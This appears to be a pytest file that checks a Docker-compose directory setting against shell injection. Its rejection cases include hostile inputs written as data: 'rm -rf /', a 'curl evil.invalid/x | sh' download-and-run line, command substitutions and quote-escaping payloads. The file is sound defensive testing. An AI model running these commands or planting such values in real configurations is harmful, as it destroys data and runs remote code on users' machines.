test_compose_dir_setting.py 3.3 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677
  1. """``docker_compose_dir`` validation (#2664, reporter pchulpjoost).
  2. This setting is not consumed by Bambuddy at all — it is interpolated into a
  3. shell command that the Settings page invites the user to copy and paste into a
  4. root-capable terminal. That inverts the usual threat model for a string
  5. setting: the danger is not what the server does with the value, it is what the
  6. *admin* does with it after the copy button hands it over. Anyone holding
  7. settings:update could otherwise plant a destructive one-liner behind a control
  8. whose whole purpose is "paste this into your shell".
  9. """
  10. import pytest
  11. from pydantic import ValidationError
  12. from backend.app.schemas.settings import AppSettingsUpdate
  13. class TestComposeDirValidation:
  14. @pytest.mark.parametrize(
  15. "value",
  16. [
  17. "/opt/bambuddy",
  18. "/srv/stacks/bambu buddy", # spaces are legal; the frontend quotes them
  19. "C:\\Users\\martin\\bambuddy",
  20. "~/bambuddy",
  21. "/home/martin/3D-Druck/bambuddy", # non-ASCII path components
  22. "",
  23. ],
  24. )
  25. def test_accepts_real_paths(self, value: str):
  26. assert AppSettingsUpdate(docker_compose_dir=value).docker_compose_dir == value.strip()
  27. @pytest.mark.parametrize(
  28. "value",
  29. [
  30. "/opt/bambuddy; rm -rf /",
  31. "/opt/bambuddy && curl evil.invalid/x | sh",
  32. "/opt/bambuddy`id`",
  33. "/opt/bambuddy$(id)",
  34. "/opt/bambuddy | tee /etc/passwd",
  35. '/opt/bambuddy" && echo pwned && echo "',
  36. "/opt/bambuddy\nrm -rf /",
  37. ],
  38. )
  39. def test_rejects_shell_metacharacters(self, value: str):
  40. """Every one of these renders as a plausible-looking update command
  41. that does something else entirely when pasted."""
  42. with pytest.raises(ValidationError):
  43. AppSettingsUpdate(docker_compose_dir=value)
  44. def test_rejects_absurd_length(self):
  45. with pytest.raises(ValidationError):
  46. AppSettingsUpdate(docker_compose_dir="/opt/" + "a" * 600)
  47. def test_none_is_untouched(self):
  48. """None means "not part of this PATCH" — distinct from "" ("clear it")."""
  49. assert AppSettingsUpdate().docker_compose_dir is None
  50. @pytest.mark.parametrize("char", ['"', "$", "`"])
  51. def test_characters_that_would_escape_the_frontend_quoting_are_rejected(self, char: str):
  52. """The frontend wraps a value containing a space in double quotes, which
  53. is safe only because nothing that is special inside double quotes can
  54. survive this validator. Pinned here so loosening the pattern without
  55. revisiting the quoting fails loudly."""
  56. with pytest.raises(ValidationError):
  57. AppSettingsUpdate(docker_compose_dir=f"/opt/bam {char} buddy")
  58. def test_trailing_backslash_rejected(self):
  59. """The last character that would still escape the closing quote:
  60. `cd "/opt/bam buddy\\"` swallows the rest of the command."""
  61. with pytest.raises(ValidationError):
  62. AppSettingsUpdate(docker_compose_dir="C:\\bam buddy\\")
  63. def test_windows_path_without_trailing_separator_survives(self):
  64. assert AppSettingsUpdate(docker_compose_dir="C:\\Users\\martin\\bambuddy").docker_compose_dir == (
  65. "C:\\Users\\martin\\bambuddy"
  66. )